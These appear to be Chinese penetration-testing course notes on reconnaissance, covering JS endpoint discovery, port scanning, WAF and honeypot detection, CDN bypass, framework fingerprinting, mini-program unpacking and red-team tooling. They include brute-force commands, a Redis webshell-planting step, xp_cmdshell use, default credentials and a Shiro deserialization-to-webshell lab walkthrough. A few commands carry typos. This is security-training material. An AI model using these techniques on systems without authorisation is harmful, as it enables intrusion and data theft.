    http://service.httpget

Wappalyzer插件查看网站

奇安信查看js语言开发的网站

app.name='vue.js'

image-20250709094644730

image-20250709094658443

可以直接看到源代码

image-20250709095833352

手工-浏览器搜索

在浏览器一个个搜索常见的关键词

src= 
path= 
method:"get" 
http.get(" 
method:"post" 
http.post("
$.ajax
http://service.httppost
http://service.httpget

image-20250709104717598

image-20250709105004249

这里可以看到有changepwd,还有什么获取密码策略,但是这里用了this,需要我们根据代码去找到

半自动Burp分析

自带功能:Target->sitemap->Engagement tools->Find scripts

官方插件:Is LinkFinder&Is Miner

第三方插件:HaE &Unexpected information

插件加载器:jython-standalone-2.7.2
Unexpected_information:
https://github.com/ScriptKid-Beta/Unexpected_information
用来标记请求包中的一些敏感信息、JS接口和一些特殊字段,防止我们疏忽了一些数据包,使用它可能会有意外的收获信息。
HaE:
https://github.com/gh0stkey/HaE
https://raw.githubusercontent.com/gh0stkey/HaE/gh-pages/Config.yml
基于BurpSuite插件JavaAPI开发的请求高亮标记与信息提取的辅助型插件。该插件可以通过自定义正则的方式匹配响应报文或请求报文,可以自行决定符合该自定义正则匹配的相应请求是否需要高亮标记、信息提取。

image-20250709112418954

image-20250709114025942

HaE插件和Unexpected_information插件

image-20250709114938800

可以看到HaE的一些规则,当抓到的包里面有符合的内容时就会标识成对应的颜色

image-20250709115425860

我们再用之前那个网站

image-20250709115512106

image-20250709115624269

工具化-各类提取&FUZZ项目

FindSomething插件

image-20250709125849084

可以直接提取出敏感关键词之类的信息

JSFinder

命令:

python JSFinder.py -u 目标url

image-20250709131402145

可以发现很多url

URLFinder

命令:

URLFinder.exe -u 目标url

image-20250709132953275

ffuf爆破

需要配合字典,命令:

ffuf -u 目标地址/FUZZ -w 字典

Packer-Fuzzer

命令:

python PackerFuzzer.py -u 目标url

image-20250709163349135

image-20250709163426702

1、JS 前端架构-识别&分析 
2、JS 前端架构-开发框架分析 
3、JS 前端架构-打包器分析 
4、JS 前端架构-提取&FUZZ 
解决: 
1、如何从表现中的 JS 提取价值信息 
2、如何从地址中 FUZZ 提取未知的 JS 文件 3、如何从 JS 开放框架 WebPack 进行测试

第15天:信息打点-主机架构&蜜罐识别&WAF识别&端口扫描&协议识别&服务安全

1、端口扫描-应用&协议 
2、WAF 识别-分类&识别 
3、蜜罐识别-分类&识别 
解决: 
1、Web 服务器&应用服务器差异性 
2、WAF 防火墙&安全防护&识别技术 
3、蜜罐平台&安全防护&识别技术
识别-Web服务器-请求返回包 

识别-应用服务器-端口扫描技术 

识别-其他服务协议-端口扫描技术 

-Web中间件探针 

-应用中间件探针 

-数据库类型探针 

-其他服务协议探针 

端口扫描:Nmap、Masscan、网络空间 

开放状态:Close Open Filtered 

https://nmap.org/download.html 
https://github.com/robertdavidgraham/masscan 

使用参考:https://blog.csdn.net/qq_53079406/article/details/125266331 
https://blog.csdn.net/qq_53079406/article/details/125263917 

编译masscan:https://www.cnblogs.com/lzy575566/p/15513726.html 

考虑:1、防火墙 2、内网环境 

内网环境可能出现情况:明明数据库端口开的,网站也能正常打开,但是你对目标进行端口扫描,发现数据库端口没有开放(排除防火墙问题)

识别-WAF防火墙-看图&项目&指纹 

1、WAF解释:

Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称:WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

2、WAF分类:

云WAF:百度安全宝、阿里云盾、长亭雷池,华为云,亚马逊云等 

硬件WAF:绿盟、安恒、深信服、知道创宇等公司商业产品 

软件WAF:宝塔,安全狗、D盾等 

代码级WAF:自己写的waf规则,防止出现注入等,一般是在代码里面写死的 

3、识别看图:

拦截页面,identywaf项目内置 

4、识别项目:

*wafw00f https://github.com/EnableSecurity/wafw00f 

-蜜罐解释:
蜜罐是一种安全威胁的检测技术,其本质在于引诱和欺骗攻击者,并且通过记录攻击者的攻击日志来产生价值。安全研究人员可以通过分析蜜罐的被攻击记录推测攻击者的意图和手段等信息。攻击方可以通过蜜罐识别技术来发现和规避蜜罐。因此,我们有必要站在红队攻击者的角度钻研蜜罐识别的方式方法。
-蜜罐分类:
根据蜜罐与攻击者之间进行的交互的程度可以将蜜罐分为三类:低交互蜜罐、中交互蜜罐高交互蜜罐。当然还可以根据蜜罐模拟的目标进行分类,比如:数据库罐、工控蜜罐、物联网蜜罐、web蜜罐等等。

渗透测试端口表

📁 一、文件共享服务端口

端口 协议/服务 渗透利用方向 技术说明
21/69 FTP/TFTP 匿名访问(用户名:anonymous,密码为空或邮箱)、爆破(Hydra)、嗅探、后门漏洞(vsftpd 2.3.4) FTP明文传输易被嗅探;vsftpd旧版本存在后门可获取root权限 17
139/445 Samba/SMB 爆破(Hydra)、未授权访问、远程代码执行(MS17-010永恒之蓝) 内网渗透核心入口,利用EternalBlue漏洞直接获取系统权限 26
2049 NFS 配置不当导致的未授权文件访问 通过showmount -e <IP>查看共享目录,挂载后窃取数据 13
389 LDAP 注入攻击、匿名绑定、弱口令爆破 使用ldapsearch查询目录信息,泄露用户凭证 48

🔒 二、远程连接服务端口

端口 协议/服务 渗透利用方向 技术说明
22 SSH 爆破(hydra -l root -P pass.txt ssh://IP)、隧道转发、用户枚举(CVE-2018-15473) 利用SSH隧道突破内网隔离;OpenSSH漏洞可枚举用户 27
23 Telnet 爆破、嗅探(明文传输密码) 使用Cain工具抓取局域网内Telnet凭证 710
3389 RDP 爆破(弱口令)、Shift后门(Windows Server 2003)、漏洞利用(CVE-2019-0708) 蓝屏漏洞(BlueKeep)可导致远程代码执行 68
5900 VNC 弱口令爆破、认证绕过 默认口令admin:admin或空口令常见 39

🌐 三、Web应用服务端口

端口 协议/服务 渗透利用方向 技术说明
80/443/8080 HTTP/HTTPS Web漏洞(SQL注入、XSS)、SSL心脏滴血(CVE-2014-0160)、目录扫描(Gobuster) 使用nikto -h http://IP扫描漏洞;心脏滴血可窃取内存数据 46
7001/7002 WebLogic Java反序列化(CVE-2017-10271)、控制台弱口令(admin/Oracle@123) 弱口令登录后上传WAR木马获取Shell 19
8080/8089 JBoss/Tomcat/Jenkins 反序列化、控制台弱口令、PUT文件上传 http://IP:8080/manager/html 常为管理入口 37
9200/9300 Elasticsearch 未授权访问、远程代码执行(CVE-2015-1427) 通过curl -XGET 'IP:9200/_search?q=*'泄露数据 59

🗃️ 四、数据库服务端口

端口 协议/服务 渗透利用方向 技术说明
3306 MySQL 爆破(root/空)、SQL注入、UDF提权 利用sqlmap自动化注入;弱口令可直接操作数据库 28
1433 MSSQL SA弱口令爆破、xp_cmdshell提权 执行xp_cmdshell 'whoami'获取系统权限 67
1521 Oracle TNS爆破(工具:ODAT)、注入、反弹Shell 监听端口1521,利用漏洞上传JSP木马 36
6379 Redis 未授权访问(直接连入)、写SSH密钥或Webshell redis-cli -h IP连入后执行config set dir /var/www/html上传木马 19
27017 MongoDB 未授权访问、爆破弱口令 默认无认证,使用mongo IP直接连接操作数据 59

✉️ 五、邮件服务端口

端口 协议/服务 渗透利用方向 技术说明
25 SMTP 邮件伪造、开放中继(Open Relay) 测试命令:telnet IP 25MAIL FROM:<[email protected]> 410
110 POP3 爆破(弱口令)、嗅探(明文传输) 使用Hydra爆破:hydra -l user -P pass.txt pop3://IP 37
143 IMAP 爆破弱口令 同POP3,常见于邮件客户端协议 14

📡 六、网络协议与特殊服务端口

端口 协议/服务 渗透利用方向 技术说明
53 DNS 域传送漏洞(dig axfr @IP domain.com)、DNS劫持、隧道隐蔽通信 域传送泄露所有子域名;DNS隧道绕过防火墙 46
161 SNMP 默认团体名爆破(public/private)、信息泄露(系统版本、接口IP) snmpwalk -c public -v1 IP 提取设备信息 24
873 Rsync 未授权访问、文件上传(同步恶意文件) rsync IP:: 列出共享目录,上传Webshell 36
11211 Memcached 未授权访问(可被用于DDoS反射攻击) telnet IP 11211 后执行stats items泄露缓存数据 19
50000 SAP 远程代码执行(CVE-2020-6207) 利用漏洞执行系统命令 6

蜜罐识别表

蜜罐名称 搜索语法 协议/服务 蜜罐类型
StrutsHoneypot app:"StrutsHoneypot" Apache Struts Web 漏洞模拟
Conpot HTTP app:"Conpot Http 蜜罐" HTTP/HTTPS Web 服务蜜罐
Conpot Modbus app:"Conpot modbus 蜜罐" Modbus (工业协议) 工控系统蜜罐
Conpot S7 app:"Conpot s7 蜜罐" Siemens S7 (PLC) 工控系统蜜罐
Kippo app:"kippo 蜜罐" SSH 认证类蜜罐
Honeypy HTTP app:"Honeypy Http 蜜罐" HTTP/HTTPS Web 服务蜜罐
Honeypy ES app:"Honeypy ES 蜜罐" Elasticsearch 数据库蜜罐
Amun IMAP app:"amun imap 蜜罐" IMAP 邮件服务蜜罐
Amun HTTP app:"amun http 蜜罐" HTTP/HTTPS Web 服务蜜罐
Nepenthes NetBIOS app:"Nepenthes netbios 蜜罐" NetBIOS/SMB 文件共享蜜罐
Nepenthes FTP app:"Nepenthes FTP 蜜罐" FTP 文件传输蜜罐
Sshesame SSH app:"sshesame ssh 蜜罐" SSH 认证类蜜罐
OpenCanary app:"opencanary 蜜罐管理后台" 多协议监控 综合蜜罐
Dionaea SIPD app:"Dionaea sipd 蜜罐" SIP (VoIP) 通信协议蜜罐
Dionaea SMBD app:"Dionaea smbd 蜜罐" SMB 文件共享蜜罐
Dionaea HTTP app:"Dionaea Http 蜜罐" HTTP/HTTPS Web 服务蜜罐
Dionaea MSSQL app:"Dionaea MSSQL 蜜罐" Microsoft SQL Server 数据库蜜罐
Dionaea FTP app:"Dionaea ftp 蜜罐" FTP 文件传输蜜罐
Dionaea Memcached app:"Dionaea Memcached 蜜罐" Memcached 缓存服务蜜罐
Kojoney SSH app:"Kojoney SSH 蜜罐" SSH 认证类蜜罐
WebLogic 蜜罐 app:"weblogic 蜜罐" WebLogic Web 漏洞模拟
MySQL 蜜罐 app:"MySQL 蜜罐" MySQL 数据库蜜罐
HFish app:"HFish 蜜罐" 多协议(SSH/RDP等) 综合蜜罐
HFish 管理后台 app:"HFish 蜜罐管理后台" 管理界面 蜜罐控制面板
HoneyThing app:"honeything 物联网蜜罐" IoT 设备模拟 物联网蜜罐
Elasticsearch 蜜罐 app:"elasticsearch 蜜罐" Elasticsearch 数据库蜜罐
HostUS 蜜罐 app:"HostUS 蜜罐" 未知 通用蜜罐
WhoisScanMe app:"whoisscanme 蜜罐" Whois 查询 信息收集蜜罐
Cowrie Telnet app:"Cowrie telnetd 蜜罐" Telnet 认证类蜜罐
Glastopf app:"glastopf 蜜罐" Web 漏洞诱捕 Web 蜜罐
未知蜜罐 app:"未知蜜罐" 未知 通用蜜罐

image-20250710195642796


WAF分类与识别

类型 示例 识别方法
云WAF 阿里云盾、百度安全宝 拦截页面特征(如aliyun.com)、HTTP头部(如X-Protected-By
硬件WAF 绿盟、深信服 特定响应头(如NS-Cache)、IP归属查询
软件WAF 安全狗、宝塔 拦截页面关键字(如bt.cn)、路径探测(如/safedog
代码级WAF 自定义规则(如防SQL注入) 测试常见攻击向量(如' OR 1=1--),观察自定义拦截响应

Web服务器
Apache、Ngnix、IIS、lighttpd等

可以在这里直接看到

image-20250710095244418

应用服务器:
Tomcat、Jboss、Weblogic、Websphere等

不能直接看到,需要根据端口来进一步分析

端口扫描

nmap

基本命令:

nmap 目标ip

image-20250710110641157

windows的gui界面版本

image-20250710113743801

这个显示的详细一点,有版本

可以看到开放的端口有哪些,如果不加扫描全部端口那么只会扫描一些常见的端口

进阶命令参考文章:【端口扫描工具】nmap核心使用方法_使用nmap进行端口扫描,查看端口开放情况,是否默认关闭telnet和 ssh 服务端口-CSDN博客

masscan

基本命令:

masscan -p端口号 目标ip

image-20250710111151388

扫描多个

image-20250710111656445

扫描全部的

masscan -p1-65535 目标ip

image-20250710123609748

网络空间

fofa直接搜ip

image-20250710114402830

查看ip聚合

image-20250710114418231

可以看到开放的端口

image-20250710114441442

image-20250710114555934

Waf

wafw00f

命令:

python main.py https://jmhewang.com/

image-20250710135924415

安全狗

网络空间

这个也能判断

image-20250710141650494

蜜罐

Hfish蜜罐

image-20250710191302267

Heimdallr

用来检查是否为蜜罐,插件,地址:https://github.com/Ghr07h/Heimdallr

但也不完全准确,可能会有误报

判断

web访问协议就下载,端口多且有规律性

特征类型 示例行为
易被入侵 弱口令、端口开放过多、未授权访问
无真实感 目录结构不完整、命令无实际效果
出站隔离 ping 不出去、curl 无法下载
响应异常 执行命令太快,输出格式怪异
系统不合理 uptime 很短、系统信息被屏蔽
工具指纹 cowrie, hfish, kippo 等进程存在

第16天:信息打点-CDN绕过&业务部署&漏洞回链&接口探针&全网扫描&反向邮件

1、CDN 服务-解释差异识别 
2、CDN 绕过-配置差异导致 
3、CDN 绕过-主动连接获取 
4、CDN 绕过-全网扫描获取 
解决: 
1、CDN 服务对安全影响 
2、CDN 服务绕过识别手法

前置知识:

1.传统访问:用户访问域名–>解析服务器 IP–>访问目标主机

2.普通 CDN:用户访问域名–>CDN 节点–>真实服务器 IP–>访问目标主机

3.带 WAF 的 CDN:用户访问域名–>CDN 节点(WAF)–>真实服务器 IP–>访问目标主机

国内服务商:

阿里云 百度云 七牛云

又拍云 腾讯云 Ucloud

360 网宿科技 ChinaCache

国外服务商:

CloudFlare StackPath Fastly

Akamai CloudFront Edgecast

CDNetworks Google Cloud CDN

CacheFly Keycdn Udomain CDN77

CDN 配置:

配置 1:加速域名-需要启用加速的域名

子域名获取真实ip 子域名和域名有可能在同一ip或者网段

例:

www.xiaodi8.com 加速 那么访问这个就会受影响

bbs.xiaodi8.com 不加速 不受影响

如果设置成*.xiaodi8.com 那么这个ip就失效

配置 2:加速区域-需要启用加速的地区

三种:中国内地、全球、全球(除中国内地)

看哪些地区没有加速,那么就可以找到真实ip

配置 3:加速类型-需要启用加速的资源

参考知识:

超级 Ping:http://www.17ce.com/

超级 Ping:https://ping.chinaz.com/

接口查询:https://get-site-ip.com/

接口查询:https://fofa.info/extensions/source

国外请求:https://tools.ipip.net/cdn.php

国外请求:https://boce.aliyun.com/detect/

IP 社区库:https://www.cz88.net/geo-public

全网扫描:https://github.com/Tai7sy/fuckcdn

全网扫描:https://github.com/boy-hack/w8fuckcdn

全网扫描:https://github.com/Pluto-123/Bypass_cdn

https://mp.weixin.qq.com/s/zxEH-HMqKukmq7qXfrdnQQ

常见方法:

子域名,邮件系统,国外访问,证书查询,APP 抓包,网络空间

通过漏洞或泄露获取,扫全网,以量打量,第三方接口查询等

超级ping

网址:http://www.17ce.com/

输入要查询的网站:

image-20250712123904008

这个会在各地去解析ip,我们发现这个都是一样的,所以真实ip就是这个,判断出没有使用CDN

另外一个:https://ping.chinaz.com/

image-20250712124219470

也是一样的

我们查询其他的

image-20250712124703621

会发现不同的地区会有不一样的解析ip,解析ip所在地也不一样,那么可以判断这个使用了CDN加速

子域名查询

当子域名和域名访问的时候都是同一个

比如当访问www.abc.com和访问abc.com时是同一个,但是www.abc.com是做了CDN加速的,这个时候可以尝试看看abc.com有没有做加速

hosts文件绑定

主要用于将主机名映射到 IP 地址。当用户在浏览器中输入一个网址时,系统会首先从 Hosts 文件中寻找对应的 IP 地址,如果找到则直接访问该地址,否则会提交给 DNS 服务器进行解析

文件目录是C:\Windows\System32\drivers\etc\hosts

在文件后面加上ip 域名就好了

利用ssrf漏洞

利用它来主动访问我们会给出真实ip,也就是服务器主动来找我们

构造一个监听服务地址,让服务器访问之后,就可以收到来自服务器的真实ip

利用phpinfo

看phpinfo的配置信息去找ip,但是如果服务器有内网,那么一般就只会显示内网ip,如果没有,那么就是真实ip

利用邮件系统

服务器->你

也是主动来找自己去找ip,我们利用服务器发给我们的邮件,查看邮件原文来找真实ip

image-20250712132529251

但是要注意看发件人image-20250712132643836

这个是域名发过来的,如果不是的话那么去看邮件原文是找不到真实ip的

你->服务器

这个需要自己的邮件服务器不是第三方,通过发送不存在的邮箱地址,然后发送失败会受到服务期返回的失败的邮件,然后得到真实ip

网站一键查询

不一定正确,需要综合考虑,只做参考

https://get-site-ip.com/

image-20250712134913815

和ping的一样

image-20250712134931785

备案

每个网站下面都有备案,可以根据这个来综合判断

比如说这个是渝,就是重庆市

image-20250712135516917

全网扫描

判断加速厂商

厂商查询:https://tools.ipip.net/cdn.php

输入网址查询是什么厂商,比如阿里云、腾讯云等等

IP库筛选地址段

https://www.cz88.net/geo-public

配置范围扫描

https://github.com/Tai7sy/fuckcdn

fuckcdn使用说明:

set.ini是配置文件

#set.ini是配置文件
ScanType=tcp    #使用tcp扫描方式  若 支持syn扫描(2003机器)  可设置为 syn
ScanPort=80,8080    #扫描开放端口  (初步扫描)  支持多端口  但是验证时只取第一个, //TODO 待完善
WorkThread=5    #主要工作进程数目(IP扫描后, 同时进行几个ip结果文件的二次扫描)
FuckThread=100  #二次扫描验证线程数
FindUrl=http://example.com/ #扫描的网址
FindStr=NiNJA,52ML,kangml,sbwml #初步扫描后 进行二次判断  判断结果是否包含此关键字, 逗号分割, 逻辑或

其余配置忽略!!!!

image-20250712144626988

输入:

ip:端口

第17天:信息打点-语言框架&开发组件&FastJson&Shiro&Log4j&SpringBoot等

1、CMS 指纹识别-不出网程序识别 
2、开发框架识别-PHP&Python&Java 
3、开发组件识别-Java 常见安全漏洞组件 

后端: 
CMS:一般 PHP 开发居多源码程序 
(利用源码程序名去搜漏洞情况,源码去下载进行后期的代码审计) 
前端 
js 框架(爬取更多的 js 从里面筛选 URL 或敏感泄漏 key 等) 
也是可以通过对 js 代码逻辑进行代码审计 
 
组件:java 居多, 
常见有过安全漏洞组件(shiro solr log4j sprintboot 等) 

框架:php java python 都有 
 
框架:简单代码的一个整合库,如果使用框架就只需要学习使用框架调用即可 
如:文件上传功能是需要很多代码来实现的,框架把这个代码进行封封装,调用即可 影响:如果采用框架开发,代码的安全性是取决于框架的过滤机制 
 
组件:第三方的功能模块(日志记录,数据监控,数据转换等) 
 
Web 架构: 
1、最简单最入门的开发模型(功能代码全部手写) 
最容易出现漏洞,程序员水平不一,没有第三方或团队的检测,单纯的自己写 
 
2、结合开发框架的开发模型(以框架为核心实现功能) 
第三方或团队的开发的封装代码框架,一般内置的过滤机制(框架漏洞) 
 
3、结合开发框架外加组件模型(以框架为核心,组件为辅实现功能) 
第三方或团队的开发的封装代码框架,一般内置的过滤机制(框架和组件漏洞) 
 
指纹识别-本地工具-GotoScan(CMSEEK) 
1、在线平台见前面课程,本地工具适用于不出网环境 
https://github.com/newbe3three/gotoscan 
2、网络空间:Fofa Quake Hunter 
3、网络空间:IO 图标关系 

#Python-开发框架-Django&Flask
Django
1、识别插件
2、Set-Cookie:expires=

Flask
1、识别插件
2、Set-Cookie:expires=


#PHP-开发框架-ThinkPHP&Laravel&Yii
ThinkPHP:
0、识别插件
1、X-Powered-By:ThinkPHP
2、CMS识别到源码体系TP开发

Laravel:
1、识别插件
2、Set-Cookie中特征的格式

Yii:
1、识别插件
2、set-Cookie中特征的格式

#Java-框架组件-Fastjson&Shiro&Solr&Spring
52类110个主流Java组件和框架介绍:
https://blog.csdn.net/agonie201218/article/details/125300729

Fastison/Jackson
在提交JSON数据包中修改测试:
-Fastison组件会把01解析成1
-Jackson组件在解析01时会抛出异常
https://forum.butian.net/share/1679
https://www.iculture.cc/forum-post/24115.html

Shiro
请求包的cookie中存在rememberMe字段。
返回包中存在set-Cookie:remeberMe=deleteMe。
请求包中存在rememberMe=x时,响应包中存在rememberMe=deleteMe。
有时候服务器不会主动返回remeberMe=deleteMe,直接发包即可,将Cookie内容改为remember Me=1,若相应包有rememberMe=deleteMe,则基本可以确定网站apacheshiro搭建的。

Struts2
一般使用struts2框架后缀带do或action可以尝试进行利用

Springboot
1、通过web应用程序网页标签的小绿叶图标
2、通过springboot框架默认报错页面

Solr识别
一般开放8983端口,访问页面也可以探针到

gotoscan

识别cms

命令:

gotoscan.exe -host 目标url

image-20250714122611449

cms识别成功

框架识别

多种方法,当一种不行时用另外的,综合判断

Django

插件查看

image-20250714170339873

关键特征

Set-Cookie:expires=

image-20250714170411567

Flask

插件查看

image-20250714175651923

特征

image-20250714175625678

ThinkPHP

插件识别

image-20250714180203858

特征

image-20250714180221472

图标

image-20250714180424152

源码查询

image-20250714180827766

image-20250714180836283

内核还是以thinphp写的框架

Laravel

插件

image-20250714185651685

特征

image-20250714185716907

Yii

插件

image-20250714185850713

特征

image-20250714185914762

Fastison/Jackson

在提交JSON数据包中修改测试:
-Fastison组件会把01解析成1
-Jackson组件在解析01时会抛出异常
https://forum.butian.net/share/1679
https://www.iculture.cc/forum-post/24115.html

Shiro

请求包的cookie中存在rememberMe字段。
返回包中存在set-Cookie:remeberMe=deleteMe。
请求包中存在rememberMe=x时,响应包中存在rememberMe=deleteMe。
有时候服务器不会主动返回remeberMe=deleteMe,直接发包即可,将Cookie内容改为remember Me=1,若相应包有rememberMe=deleteMe,则基本可以确定网站apacheshiro搭建的。

请求包有rememberMe字段

image-20250714191631999

image-20250714192314674

Struts2

一般使用struts2框架后缀带do或action可以尝试进行利用

image-20250714192417652

image-20250714192450026

image-20250714192456510

Springboot

页面

image-20250714192833099

图标

image-20250714192909498

Solr识别

一般开放8983端口,访问页面也可以探针到

image-20250714193945648

image-20250714193958281

shiro反序列化

开启环境

image-20250714195600799

用给的用户名和密码登录,一定要点remember Me

登录查看包

image-20250714195650743

发现有rememberMe,打开漏洞利用工具,检测当前密钥

image-20250714195817470

爆破密钥

image-20250714195840201

检测当前利用链

image-20250714195948966

爆破利用链及回显

image-20250714200033375

命令执行

image-20250714200125041

发现成功了, 内存马植入

image-20250714200213473

用webshell工具哥斯拉连接

image-20250714200429798

image-20250714200500315


第18天:信息打点-APP资产&知识产权&应用监控&静态提取&动态抓包&动态调试

1、web&备案信息&单位名称中发现APP
2、APP资产静态提取&动态抓包&动态调试
解决:
1、如何获取到目标APP信息
2、如何从APP信息中提取资产

案例1:名称获取APP信息(爱企查/小蓝本/七麦/点点)
1、爱企查知识产权 
2、七麦&点点查名称 
https://www.xiaolanben.com/ 
https://aiqicha.baidu.com/ 
https://www.qimai.cn/ 
https://app.diandian.com/ 

案例2:URL网站备案查APP 
1、查备案信息在搜 
2、网站上有APP下载 
3、市场直接搜单位名称 

通过获取App配置、数据包,去获取url、api、osskey、js等敏感信息。
1、资产信息-IP 域名 网站 -转到对应Web测试 接口测试 服务测试  
2、泄露信息-配置key 资源文件 - key(osskey利用,邮件配置等)
3、代码信息-java代码安全问题- 逆向相关 

APP中收集资产 
1、抓包-动态表现 
2、提取-静态表现&动态调试 
3、搜索-静态表现 

1、抓包抓表现出来的数据 
优点:没有误报 
缺点:无法做到完整 

2、反编译从源码中提取数据 
优点:数据较为完整 
缺点:有很多无用的资产 

3、动态调试从表现中提取数据 
优点:没有误报,解决不能抓包不能代理等情况 
优点;搞逆向的人能看到实时的app调用链等 
缺点:无法做到完整 

案例:某APP打开无数据包,登录有数据包(反编译后未找到目标资产,抓包住到了)
原因:那个登录界面是APP打包的资源,并没有对外发送数据 

案例3:APP提取信息-静态分析 
1、MobSF 
2、AppInfoScanner 
3、两个在线平台
https://mogua.co/
https://www.zhihuaspace.cn:8888/
https://github.com/kelvinBen/AppInfoScanner
https://github.com/MobSF/Mobile-Security-Framework-MobSF
https://blog.csdn.net/ljh824144294/article/details/119181803

案例3:APP提取信息-动态抓包
-前期部分抓包技术

案例3:APP提取信息-动态调试
-MobSF+模拟器

案例1:名称获取APP信息(爱企查/小蓝本/七麦/点点)

1、小蓝本

image-20250716105459136

2、七麦&点点查名称

image-20250716105549992

image-20250716105603085

https://www.xiaolanben.com/

https://aiqicha.baidu.com/

https://www.qimai.cn/

https://app.diandian.com/

案例2:URL网站备案查APP

1、查备案信息在搜

2

image-20250716110429526

image-20250716110511106

2、网站上有APP下载

image-20250716105633118

3、市场直接搜单位名称

通过获取App配置、数据包,去获取url、api、osskey、js等敏感信息。

1、资产信息-IP 域名 网站 -转到对应Web测试 接口测试 服务测试

2、泄露信息-配置key 资源文件 - key(osskey利用,邮件配置等)

3、代码信息-java代码安全问题- 逆向相关

image-20250716112608974

摸瓜-查诈骗APP_查病毒APP_免费APK反编译分析工具

APP中收集资产

1、抓包-动态表现

2、提取-静态表现&动态调试

3、搜索-静态表现

1、抓包抓表现出来的数据

优点:没有误报

缺点:无法做到完整

2、反编译从源码中提取数据

优点:数据较为完整

缺点:有很多无用的资产

3、动态调试从表现中提取数据

优点:没有误报,解决不能抓包不能代理等情况 优点;搞逆向的人能看到实时的app调用链等 缺点:无法做到完整

案例:某APP打开无数据包,登录有数据包(反编译后未找到目标资产,抓包住到了)

原因:那个登录界面是APP打包的资源,并没有对外发送数据

案例3:APP提取信息-静态分析

AppInfoScanner

静态分析,如果是动态的就提不出来

地址:https://github.com/kelvinBen/AppInfoScanner

命令:

python3 app.py android -i <Your apk file>  

MobSF

动态调试,可以测试到抓包抓不到的东西

xiaodi8测试

启动:

run.bat 0.0.0.0:8000

访问:

http://localhost:8000/

在界面可以直接分析我们已经在模拟器安装好的app

image-20250717173551563


第19天:信息打点-小程序应用&解包反编译&动态调试&抓包&静态分析&源码架构

#小程序获取-各大平台&关键字搜索 -微信 
-百度 
-支付宝 
-抖音头条 

#小程序体验-凡科建站&模版测试上线 
测试:https://qz.fkw.com/ 
参考:https://blog.csdn.net/qq_52445443/article/details/122351865 

1.主体结构 
小程序包含一个描述整体程序的 app 和多个描述各自页面的 page。 
一个小程序主体部分(即app)由三个文件组成,必须放在项目的根目录,如下: 
    文件                 必需               作用     
    app.js               是            小程序逻辑 
    app.json             是            小程序公共配置 
    app.wxss             否            小程序公共样式表 
2.一个小程序页面由四个文件组成,分别是:      
    xxx.js        页面逻辑 
   xxx.json      页面配置 
    xxx.wxml      页面结构 
    xxx.wxss      页面样式 
3.项目整体目录结构 
    pages                页面文件夹 
    index                首页 
    logs                 日志 
    utils                
    util                 工具类(mina框架自动生成,你也可以建立一个:api) 
    app.js               入口js(类似于java类中的main方法)、全局js     app.json             全局配置文件 
    app.wxss             全局样式文件 
    project.config.json  跟你在详情中勾选的配置一样 
    sitemap.json         用来配置小程序及其页面是否允许被微信索引 
#小程序抓包-Proxifier&BurpSuite联动 -对抓到的IP或域名进行Web安全测试 
-对抓到的IP或域名进行API安全测试 
-对抓到的IP或域名进行端口服务测试 
-对抓到的IP或域名进行端口服务测试

#小程序逆向-解包反编译&动态调试&架构
对源码架构进行分析
-更多的资产信息
-敏感的配置信息
-未授权访问测试
-源码中的安全问题


Proxifier&BurpSuite联动

image-20250718170644324

image-20250718170926238

抓小程序

解包反编译

微信小程序文件所在目录在微信文件夹上一级的Applet里面

image-20250726091245594

解密小程序包,工具UnpackMiniApp

image-20250726095859790

解密成功

image-20250726095914904

image-20250726091400589

开始逆向,工具wxappUnpacker,命令行操作

bingo.bat D:\cyberspace\web_tools\InformationGatheringTools\UnpackMiniApp\wxpack\wx687b1b524d23f77c.wxapkg

image-20250726101118440

生成的文件在wxapkg同一个目录下面

image-20250726101209931

image-20250726101219196

打开微信开发者工具,左上角导入项目

image-20250726101358916

差不多是这样

image-20250726101610275

在遇到一个小程序有多个wxapkg包的时候,需要每个包都解密,并且需要在解密完一个包之后对那个包进行改名,不然再去解密第二个包的时候会覆盖第一个

image-20250726103324558

逆向

工具解包再反编译,拿到微信开发者工具打开

抓包和反编译对比

第20天:信息打点-红蓝队自动化项目&资产侦察&企查产权&武器库部署&网络空间

#各类红蓝队优秀工具项目集合: 
https://github.com/guchangan1/All-Defense-Tool 
本项目集成了全网优秀的开源攻防武器项目,包含信息收集工具(自动化利用工具、资产发现工具、目录扫描工具、子域名收集工具、指纹识别工具、端口扫描工具、各种插
件...),漏洞利用工具(各大CMS利用工具、中间件利用工具等项目...),内网渗透工具(隧道代理、密码提取...)、应急响应工具、甲方运维工具、等其他安全攻防资料整理,供攻防双方使用。如果你有更好的建议,欢迎提出请求。

#自动化-武器库部署-F8x 
项目地址:https://github.com/ffffffff0x/f8x 
1、介绍:
一款红/蓝队环境自动化部署工具,支持多种场景,渗透,开发,代理环境,服务可选项等. 
2、配置:
通过 CF Workers 下载 [推荐] 
wget : wget -O f8x https://f8x.io/ 
curl : curl -o f8x https://f8x.io/ 
3、使用:见项目文档 

#自动化-网络空间-AsamF 
项目地址:https://github.com/Kento-Sec/AsamF 
1、介绍: 
AsamF集成了Fofa、Hunter、Quake、Zoomeye、Shodan、爱企查、Chinaz、0.zone、subfinder。AsamF支持Fofa、Hunter、Quake、Zoomeye、Shodan、Chinaz、0.zone配置多个Key。 
2、配置: 
AsamF会在~/.config/asamf/目录下生成config.json文件。 
如果你有多个key,按照json的格式录入即可,建议键值按照阿拉伯数字依次录入,方便以阿拉伯数字来切换key。自动结果保存在~/asamf/目录下。
3、使用:见项目文档 

#自动化-企查信息-ENScan 
项目地址:https://github.com/wgpsec/ENScan_GO 
1、介绍:
剑指HW/SRC,解决在HW/SRC场景下遇到的各种针对国内企业信息收集难题 2、配置:
ENScanGo在第一次使用时需要使用-v命令生成配置文件信息后进行配置 
3、使用:见项目文档 

#自动化-综合架构-ARL&Nemo
-ARL灯塔
项目地址:https://github.com/TophantTechnology/ARL
1、介绍:
旨在快速侦察与目标关联的互联网资产,构建基础资产信息库。协助甲方安全团队或者渗透测试人员有效侦察和检索资产,发现存在的薄弱点和攻击面
2、配置:(docker搭建)
git clone https://qithub.com/TophantTechnology/ARI
cd ARL/docker/
docker volume create arl db
docker-compose pul1
docker-compose up-d
3、使用:见直播操作

-Nemo Go
项目地址:https://github.com/hanc00l/nemo_go
1、介绍:
Nemo是用来进行自动化信息收集的一个简单平台,通过集成常用的信息收集工具和技术实现对内网及互联网资产信息的自动收集,提高隐患排查和渗透测试的工作效率,用Golang完全重构了原Python版本
2、配置:(docker搭建)
